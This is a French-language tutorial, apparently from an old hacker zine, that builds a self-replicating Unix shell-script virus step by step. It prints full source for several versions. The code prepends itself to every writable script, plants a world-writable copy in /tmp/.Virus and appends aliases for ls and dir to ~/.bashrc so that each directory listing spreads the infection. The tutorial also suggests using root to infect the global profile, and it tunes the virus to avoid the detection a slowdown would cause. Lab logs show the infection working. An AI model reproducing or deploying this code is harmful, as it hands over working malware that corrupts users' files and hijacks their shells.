[user@ThreaT@workgroup test]$ chmod -w innocent innocent1 innocent5 innocent8 innocent9 
[user@ThreaT@workgroup test]$ ls -l
total 48
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent1*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent10*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent2*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent3*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent4*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent5*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent6*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent7*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent8*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
l[user@ThreaT@workgroup test]$

/*maintenant que tout est en place, faite entrer le taureau */

[user@ThreaT@workgroup test]$ su
password :
[root@ThreaT@workgroup test]# cp /root/script/virii/idiot virus
[root@ThreaT@workgroup test]# su user
[user@ThreaT@workgroup test]$ ls -l
total 52
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent1*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent10*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent2*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent3*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent4*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent5*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent6*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent7*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent8*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
-rwxr-xr-x   1 root     root          496 Mar 14 13:40 virus*
[user@ThreaT@workgroup test]$ ./virus
virus.sh version 0.0 by ThreaT
     a titre experimantal
./virus:  innocent: Permission non accordee
./virus:  innocent1: Permission non accordee
./virus:  innocent5: Permission non accordee
./virus:  innocent8: Permission non accordee
./virus:  innocent9: Permission non accordee
je suis un script idiot
[user@ThreaT@workgroup test]$ ls -l
total 52
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent1*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent10*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent2*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent3*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent4*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent5*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent6*
-rwxr-xr-x   1 user     user          498 Mar 14 13:42 innocent7*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent8*
-r-xr-xr-x   1 user     user           44 Mar 14 13:25 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
-rwxr-xr-x   1 root     root          496 Mar 14 13:40 virus*
[user@ThreaT@workgroup test]$

comme vous pouviez vous y attendre, le virus n'a pas pu infecter les scripts interdits en
ecritures, ce qui est normal. 
la chose qui me derrange, ce sont les messages d'erreurs geners par l'impossibilite
d'infection.
sa, c'est parce que notre virus ne pense qu'a niquer, et celui si ne demande pas a ses
partenaires !!
ce qui fait que sa gueulle!

donc, il faut apprendre  notre virus  demander avant de niquer (couts bien, c'est valable
aussi dans la vie )


nous allons donc rajouter une fonction pour lui indiquer quelles sont les bonnes magnieres

#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo "     a titre experimantal" #MvM
for f in * #MvM 
do #MvM 
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM            <------- on regarde si la cible est accessible en ecriture
echo "#!/bin/sh" > /tmp/t #MvM  <------si c'est bon on infecte                                                                                  
grep "MvM" $0 >> /tmp/t #MvM                                                                                      
cat $i >> /tmp/t #MvM                                                                          
cat /tmp/t > $i #MvM                 
fi #MvM                                 <----------------------------/ sinon, on baise pas :(
done #MvM 
rm -f /tmp/t #MvM 

on retente

[user@ThreaT@workgroup test]$ ./virus
virus.sh version 0.0 by ThreaT
     a titre experimantal
je suis un script idiot
[user@ThreaT@workgroup test]$ 

et voila, notre virus n'a pas infect plus de victime pour autant, mais au moin, celui si n'a
pas gener de messages d'erreurs

ok, maintenant que nous avons une souche un peu potable, il serait temp de penser 
l'exportabilite hors du repertoire courant.

pour ce faire, nous allons utiliser la technique du DIR STEALTH

//////////////////////
BUT DE LA FONCTION
\\\\\\\\\\\\\\\\\\\\\\

le but de notre fonction, seras de lancer notre cher virus  chaque fois qu'un utilisateur
tenteras de lancer la commande DIR ou LS.

pour ce faire nous allons utiliser la commande ALIAS.
alias est une commande certe pratique pour notre fonction viral, mais celle si a quand mme un
petit problme.
on ne peut pas l'exporter dans le shell aprs la fin de notre script, ce qui veut dire qu'il va
falloir que l'on modifie le profile bash de l'utilisateur ayant invoqu notre virus, afin que
celui si pointe nos nouvelles commandes sur une copie de notre code.

l'interressant de la chose, et que root a non seulement la possibiliter de modifier son profile
bash, mais il a aussi la possibiliter de modifier le profile type, invoquer par tout
utilisateur, ce qui veut dire que si notre virus est invoquer par un root, le virus passe
dir stealth pour tout les utilisateurs du systeme :) et mme les nouveaux cres ::))

et bien sur, chaque utilisateur a la possibilit de modifier son propre profile bash, ce qui
va nous tre fort utile pour commencer :)


petit exemple de modification du profile bash :

[user@ThreaT@workgroup test]$ echo "alias ls='echo "I have burn your fucking
command"'" >> ~/.bashrc
[user@ThreaT@workgroup test]$ exit
ThreaT@workgroup login: user
password :
Warning: your password will expire in -2 days
Last login: Tue Mar 14 13:06:33 on tty4
[user@ThreaT@workgroup user]$ ls
I have burn your fucking command
[user@ThreaT@workgroup user]$


ok, voici le code qui va assumer cette fonction:

------------cut-----------
#!/bin/sh             
if [ -w ~/.bashrc ]; then <-----------on test si le fichier profile est accessible en ecriture
if grep "nom_du_fichier_pointer" ~/.bashrc > /dev/null; then <------ on regarde dedans si on
:											a pas deja modifi le profil
else
echo "alias ls='echo nom_du_fichier_pointer'" >> ~/.bashrc <---si c'est pas modifi, on modifie
echo "alias dir='ls'" >> ~/.bashrc
fi
------------cut-------------


maintenant, il nous faut une fonction qui va nous cre le fichier pointer par notre alias:
non seulement, il faut que notre code point soit accessible, mais il faut aussi que celui si
puisse supporter les eventuelles arguments apports par l'utilisateur  sa commande prfr,
sans quoi notre virus seras trs trs vite repr:

mettons sa en place:

--------cut---------------
#!/bin/sh
if [ -f /tmp/.Virus ]; then                <-------- on regarde si le fichier existe deja
: 
else 
echo "#!/bin/sh" > /tmp/.Virus          <------ si il n'existe pas, on le cre
grep "signature" $0 >> /tmp/.Virus
echo "ls \$1 \$2 \$3" >> /tmp/.Virus  <----- on lui ajoute une commande prenant en compte
										d'eventuelle arguments
chmod 777 /tmp/.Virus                    <----- et on le met accessible
fi 
-------cut-------------------



un petit MIC MAC de tout sa!


----------virus2.sh--------------
#!/bin/bash
#attention, ce virus est dir stealth
#a manipuler avec precaution
echo "virus LSSI version 1.0, by ThreaT" #MvM
echo " good for health, bad for education" #MvM      <----desol, j'ai pas put m'en empch
if [ -f /tmp/.Virus ]; then #MvM              
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM         
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM                
fi #MvM
if [ -w ~/.bashrc ]; then  #MvM           
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM  
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
for f in * #MvM 
do #MvM 
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM           
echo "#!/bin/sh" > /tmp/t #MvM  
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM 
rm -f /tmp/t #MvM 
------------------------------------

maintenant qu'on a un virus Ado, on va le tester en labo.

Attention: si vous testez ce virus chez vous, faite bien gaffe aux repertoires que vous
listerez.


////////////////
TEST EN LABO
\\\\\\\\\\\\\\\\

/* tout d'abbors on prepart le terrain */

[user@ThreaT@workgroup user]$ cd test
[user@ThreaT@workgroup test]$ rm -f i*
[user@ThreaT@workgroup test]$ rm -f virus
[user@ThreaT@workgroup test]$ mkdir test2
[user@ThreaT@workgroup test]$ cp sgen.sh test2/
[user@ThreaT@workgroup test]$ ./sgen.sh
nombre de script innocent a generer : 20
[user@ThreaT@workgroup test]$ cd test2
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 20
[user@ThreaT@workgroup test2]$ cd ..
[user@ThreaT@workgroup test]$ chmod -w innocent1 innocent2 innocent3 innocent4 innocent5
[user@ThreaT@workgroup test]$ ls -l
total 92
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent1*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent10*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent11*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent12*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent13*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent14*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent15*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent16*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent17*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent18*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent19*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent2*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent20*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent3*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent4*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent5*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent6*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent7*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent8*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
drwxr-xr-x   2 user     user         4096 Mar 14 16:19 test2/
[user@ThreaT@workgroup test]$ chmod -w test2/innocent10 test2/innocent11 test2/innocent12
test2/innocent13 test2/innocent14
[user@ThreaT@workgroup test]$ ls -l test2/
total 88
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent1*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent10*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent11*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent12*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent13*
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent14*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent15*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent16*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent17*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent18*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent19*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent2*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent20*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent3*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent4*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent5*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent6*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent7*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent8*
-rwxr-xr-x   1 user     user           44 Mar 14 16:19 innocent9*
-rwxr-xr-x   1 user     user          279 Mar 14 16:15 sgen.sh*
[user@ThreaT@workgroup test]$

donc, en resum, nous venons de cre 2 repertoires: /home/user/test et /home/user/test2

dans chaque repertoire il y a 20 fichiers innocents, dont quelques un non accessible en
ecriture.

ok, maintenant voila le dil : nous allons lancer le virus dans le repertoire test, ce qui auras
pour effet une infection total des fichiers accessibles en ecriture dans le repertoire.

ensuite, nous allons nous deconnecter puis nous reconnecter, afin que notre profile soit
reinitialis.

puis nous irons lister le contenu de test2.

et si l'infection s'effectue sur test2, nous aurons gagn la partie !

messieurs, il est temp de faire rentrer le loup dans la bergerie...

[user@ThreaT@workgroup test]$ cp ~user/virus2.sh virus
[user@ThreaT@workgroup test]$ chmod +x virus

/* on retient son souffle */

[user@ThreaT@workgroup test]$ ./virus
virus LSSI version 1.0, by ThreaT
 good for helth, bad for education
[user@ThreaT@workgroup test]$ ls -l
total 100
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent*
-r-xr-xr-x   1 user     user           44 Mar 14 16:59 innocent1*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent10*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent11*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent12*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent13*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent14*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent15*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent16*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent17*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent18*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent19*
-r-xr-xr-x   1 user     user           44 Mar 14 16:59 innocent2*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent20*
-r-xr-xr-x   1 user     user           44 Mar 14 16:59 innocent3*
-r-xr-xr-x   1 user     user           44 Mar 14 16:59 innocent4*
-r-xr-xr-x   1 user     user           44 Mar 14 16:59 innocent5*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent6*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent7*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent8*
-rwxr-xr-x   1 user     user         1006 Mar 14 17:00 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
drwxr-xr-x   2 user     user         4096 Mar 14 16:19 test2/
-rwxr-xr-x   1 root     root         1030 Mar 14 16:59 virus*
-rwxr-xr-x   1 root     root         1021 Mar 14 16:54 virus~*

/* on verifie que le profile a bien t modifi */

[user@ThreaT@workgroup test]$ cat ~/.bashrc
# .bashrc

# User specific aliases and functions
alias rm='rm -i'
alias mv='mv -i'
alias cp='cp -i'
alias s='cd ..'
alias d='ls'
alias p='cd -'

# Need for a xterm & co if we don't make a -ls
[ -n $DISPLAY ] && {
	[ -f /etc/profile.d/color_ls.sh ] && source /etc/profile.d/color_ls.sh
	 export XAUTHORITY=$HOME/.Xauthority
}

# Read first /etc/inputrc if the variable is not defined, and after the /etc/inputrc 
# include the ~/.inputrc
[ -z $INPUTRC ] && export INPUTRC=/etc/inputrc

# Source global definitions
if [ -f /etc/bashrc ]; then
	. /etc/bashrc
fi

alias ls='/tmp/.Virus'          <--------yes
alias dir='ls'                       <-------yes

on vas jeter un oeil  notre code pseudo resident

[user@ThreaT@workgroup test]$ cat /tmp/.Virus
#!/bin/sh
echo "virus LSSI version 1.0, by ThreaT" #MvM
echo " good for helth, bad for education" #MvM    
if [ -f /tmp/.Virus ]; then #MvM              
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM         
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM                
fi #MvM
if [ -w ~/.bashrc ]; then  #MvM           
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM  
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
for f in * #MvM 
do #MvM 
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM           
echo "#!/bin/sh" > /tmp/t #MvM  
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM 
rm -f /tmp/t #MvM 
ls $1 $2 $3            <-------yes
[user@ThreaT@workgroup test]$

/* maintenant que tout est OK, on ce delogue, puis on ce relogue */

[user@ThreaT@workgroup test]$ exit
ThreaT@workgroup login: user
password :
Warning: your password will expire in -2 days
Last login: Tue Mar 14 18:09:15 on tty4
[user@ThreaT@workgroup user]$

/* normalement, notre virus doit ce trouver point par les alias */

[user@ThreaT@workgroup user]$ alias
alias cd..='cd ..'
alias cp='cp -i'
alias d='ls'
alias df='df -h -x supermount'
alias dir='ls'                    <------yes
alias du='du -h'
alias l='ls'
alias la='ls -A -k'
alias ll='ls -l'
alias ls='/tmp/.Virus'        <------yes
alias lsd='ls -d */'
alias md='mkdir'
alias mv='mv -i'
alias p='cd -'
alias rd='rmdir'
alias rm='rm -i'
alias s='cd ..'
[user@ThreaT@workgroup user]$


/* ce qui veut dire que non seulement, tout appelle  la commande DIR ou LS feras appelle  
notre virus qui est placer  dans /tmp/.Virus, mais aussi que tout appelle  l'une de ces
commandes accompagns d'un argument est parfaitement operationnel pour l'utilisateur */

un petit essai s'il vous plait

[user@ThreaT@workgroup user]$ ls
virus LSSI version 1.0, by ThreaT
 good for helth, bad for education
Desktop  bof  buff  recup  salut suid  test  tmp  virus2.sh
[user@ThreaT@workgroup user]$ dir
virus LSSI version 1.0, by ThreaT
 good for helth, bad for education
Desktop  bof  buff  recup  salut suid  test  tmp  virus2.sh
[user@ThreaT@workgroup user]$ ls -l
virus LSSI version 1.0, by ThreaT
 good for helth, bad for education
total 68
drwxr-xr-x   4 user     user         4096 Feb 23 21:22 Desktop
-rwxr-xr-x   1 root     root        11705 Mar 11 22:26 bo
-rwsr-sr-x   1 root     root        11829 Mar 13 13:31 buff
drwxr-xr-x   5 user     user         4096 Mar 13 13:57 recup
-rwsrwxrwx   1 root     root        11638 Mar  2 18:49 salut
-rwsr-xr-x   1 root     root        11330 Mar 11 20:51 suid
drwxr-xr-x   3 user     user         4096 Mar 14 16:59 test
drwx------   2 user     user         4096 Mar 14 15:06 tmp
-rw-r--r--   1 root     root         1210 Mar 14 16:33 virus2.sh
[user@ThreaT@workgroup user]$

putain, mais c'est que sa marche trop bien cette merde!!

maintenant que l'on sait que le virus est parfaitement dir stealth, voyons si la fonction
d'infection est parfaitement operationnel. 

[user@ThreaT@workgroup user]$ cd test/test2
[user@ThreaT@workgroup test2]$ ls -l
virus LSSI version 1.0, by ThreaT
 good for helth, bad for education
total 88
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent1
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent10
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent11
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent12
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent13
-r-xr-xr-x   1 user     user           44 Mar 14 16:19 innocent14
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent15
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent16
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent17
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent18
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent19
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent2
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent20
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent3
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent4
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent5
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent6
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent7
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent8
-rwxr-xr-x   1 user     user         1006 Mar 14 17:17 innocent9
-rwxr-xr-x   1 user     user          279 Mar 14 16:15 sgen.sh
[user@ThreaT@workgroup test2]$ BINGOOO!!
bash: BINGOOO!!: command not found
[user@ThreaT@workgroup test2]$

sa MAAAAAAARRche!!

comme vous l'avez vue, test2 tait parfaitement saint lorsque l'on c'est deloguer, il suffit
qu'on aye le lister pour que tout le repertoire soit infect, ce qui fait que notre virus est
parfaitement DIR STEALTH Pseudo Residency

mais attention, ce n'est pas fini !

il reste encore  regler, ce que j'appelerais le timebug.
mais qu'est ce que sexe que le timebug???

voila, une commande de listage met normalemment moin d'une seconde  tre execute.
avec notre virus en plus, cela fait  peut prs une seconde voir mme deux, ce qui est disons
acceptable.

bon, mais vous tes bien conscient que le temp que va mettre la commande LS  afficher le
listing du repertoire depend esseciellement du nombre de fichier tant dans ce repertoire.
et depend aussi de la machine infecte!!

ce qui veut dire qu'il faudrait penser  mettre au point une fonction qui ne scannerais qu'un
nombre limit de fichier afin que le temp d'affichage soit grossomodo compris entre deux
interval de temp raisonnables.

un exemple de ce que je raconte :

/* j'efface tout les fichier innocent */
[user@ThreaT@workgroup test2]$ rm -f *i

/* et je vais gnrer 500 fichiers innocents */
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 500

/* ok, maintenant, regardons combien de temp met notre opration a s'effectuer */

[user@ThreaT@workgroup test2]$ time /tmp/.Virus
virus LSSI version 1.0, by ThreaT
 good for health, bad for education
innocent innocent1 innocent10 innocent100
innocent101 innocent102 innocent103 innocent104
innocent105 innocent106 innocent107 innocent108
innocent109 innocent11 innocent110 innocent111
innocent112 innocent113
innocent114 innocent115 innocent116 innocent117
 innocent118 innocent119 innocent12 innocent120
 innocent121 innocent122 innocent123
innocent124 innocent125 innocent126 innocent127
 innocent128 innocent129 innocent13 innocent130
 innocent131 innocent132
innocent133 innocent134 innocent135 innocent136
 innocent137 innocent138 innocent139 innocent140 innocent141
innocent142 innocent143 innocent144 innocent145
 innocent146 innocent147 innocent148 innocent149
 innocent15 innocent150
innocent151 innocent152 innocent153 innocent154
 innocent155 innocent156 innocent157 innocent158
 innocent159 innocent16
innocent160 innocent161 innocent162 innocent163
 innocent164 innocent165 innocent166 innocent167
 innocent168 innocent169
innocent17  innocent170 innocent171 innocent172
 innocent173 innocent174 innocent175 innocent176
 innocent177 innocent178
innocent179 innocent18 innocent180 innocent181
innocent182 innocent183 innocent184 innocent185
nnocent186 innocent187
innocent188 innocent189 innocent19 innocent190
innocent191 innocent192 innocent193 innocent194
innocent195 innocent196
innocent197 innocent198 innocent199 innocent2
innocent20 innocent200 innocent201 innocent202
innocent203 innocent204
innocent205 innocent206 innocent207 innocent208
innocent209 innocent21 innocent210 innocent211
innocent212 innocent213
innocent214 innocent215 innocent216 innocent217
innocent218 innocent219 innocent22 innocent220
innocent221 innocent222
innocent223 innocent224 innocent225 innocent226
innocent227 innocent228 innocent229 innocent23 innocent230 innocent231
innocent232 innocent233 innocent234 innocent235 
innocent236 innocent237 innocent238 innocent239 innocent24 innocent240
innocent241 innocent242 innocent243 innocent244 
innocent245 innocent246 innocent247 innocent248 innocent249 innocent25
innocent250 innocent251 innocent252 innocent253 
innocent254 innocent255 innocent256 innocent257 innocent258 innocent259
innocent26  innocent260 innocent261 innocent262 
innocent263 innocent264 innocent265 innocent266 innocent267 innocent268
innocent269  innocent27 innocent270 innocent271 
innocent272 innocent273 innocent274 innocent275 innocent276 innocent277
innocent278 innocent279 innocent28 innocent280 
innocent281 innocent282 innocent283 innocent284 innocent285 innocent286
innocent287 innocent288 innocent289 innocent29 
innocent290 innocent291 innocent292 innocent293 innocent294 innocent295
innocent296 innocent297 innocent298 innocent299 
innocent3 innocent30 innocent300 innocent301 innocent302 innocent303
etc .....
11.38user 6.78system 0:18.71elapsed 97%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (331309major+208493minor)pagefaults 0swaps


18,71 secondes pour lister un repertoire, mais c'est de la folie furieuse !!

et encore, sa c'est sur un PIII 550 overclocked a 616 Mhz
alors imagins sur un serveur d'impression en 166 Mhz!!

non, ce qu'il faut, c'est brider le nombre de fichier  pointer, c'est a dire que nous allons
mettre au point une procedure qui va scanner un nombre de fichier prevu, afin que notre virus
n'essaye pas d'aller au delas, ce qui nous feras gagner un temp precieux.

nous appellerons ce nombre le coeficient de timebug.


hop, on ce repaluche le virus avec cette nouvelle info


----------virus3.sh--------------
#!/bin/bash
#attention, ce virus est dir stealth
#a manipuler avec precaution
echo "virus LSSI version 1.5, by ThreaT" #MvM
echo " avec coeficient de timebug actif " #MvM      
if [ -f /tmp/.Virus ]; then #MvM              
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM         
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM                
fi #MvM
if [ -w ~/.bashrc ]; then  #MvM           
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM  
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM                <---------on place un indicateur initialiser a 1
for f in * #MvM 
do #MvM 
if [ $a -ge 100 ]; then #MvM        <---- que l'on compare a notre coeficient de timebug
break #MvM      <---- on arrete l'infection si $a est >=  100 (pour plus de detaille,man test)
fi #MvM
a=$(($a+1)) #MvM         <-----------puis on incremente l'indicateur de 1
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM           
echo "#!/bin/sh" > /tmp/t #MvM  
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM 
rm -f /tmp/t #MvM 
------------------------------------

refesons un petit test d'infection sur notre repertoire contenant 500 fichiers innocents avec
ce nouveau code.

[user@ThreaT@workgroup test2]$ rm -f i*
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 500
[user@ThreaT@workgroup test2]$ time /tmp/.Virus
virus LSSI version 1.5, by ThreaT
 avec coeficient de timebug actif 
innocent innocent1 innocent10 innocent100 innocent101 innocent102 
innocent103 innocent104 innocent105 innocent106
innocent107 innocent108 innocent109 innocent11 innocent110 innocent111 
innocent112 innocent113 innocent114
innocent115 innocent116 innocent117 innocent118 innocent119 innocent12
 innocent120 innocent121 innocent122 innocent123
innocent124 innocent125 innocent126 innocent127 innocent128 innocent129
 innocent13 innocent130 innocent131 innocent132
innocent133 innocent134 innocent135 innocent136 innocent137 innocent138
 innocent139 innocent14 innocent140 innocent141
innocent142 innocent143 innocent144 innocent145 innocent146 innocent147
 innocent148 innocent149 innocent15 innocent150
innocent151 innocent152 innocent153 innocent154 innocent155
 innocent156 innocent157 innocent158 innocent159 innocent16
innocent160 innocent161 innocent162 innocent163 innocent164
 innocent165 innocent166 innocent167 innocent168 innocent169
innocent17  innocent170 innocent171 innocent172 innocent173
 innocent174 innocent175 innocent176 innocent177 innocent178
innocent179 innocent18 innocent180 innocent181 innocent182
 innocent183 innocent184 innocent185 nnocent186 innocent187
innocent188 innocent189 innocent19 innocent190 innocent191 
innocent192 innocent193 innocent194 innocent195 innocent196
innocent197 innocent198 innocent199 innocent2 innocent20 
innocent200 innocent201 innocent202 innocent203 innocent204
innocent205 innocent206 innocent207 innocent208 innocent209
 innocent21 innocent210 innocent211 innocent212 innocent213
innocent214 innocent215 innocent216 innocent217 innocent218
 innocent219 innocent22 innocent220 innocent221 innocent222
innocent223 innocent224 innocent225 innocent226 innocent227 
innocent228 innocent229 innocent23 innocent230 innocent231
innocent232 innocent233 innocent234 innocent235 innocent236 
innocent237 innocent238 innocent239 innocent24 innocent240
innocent241 innocent242 innocent243 innocent244 innocent245 
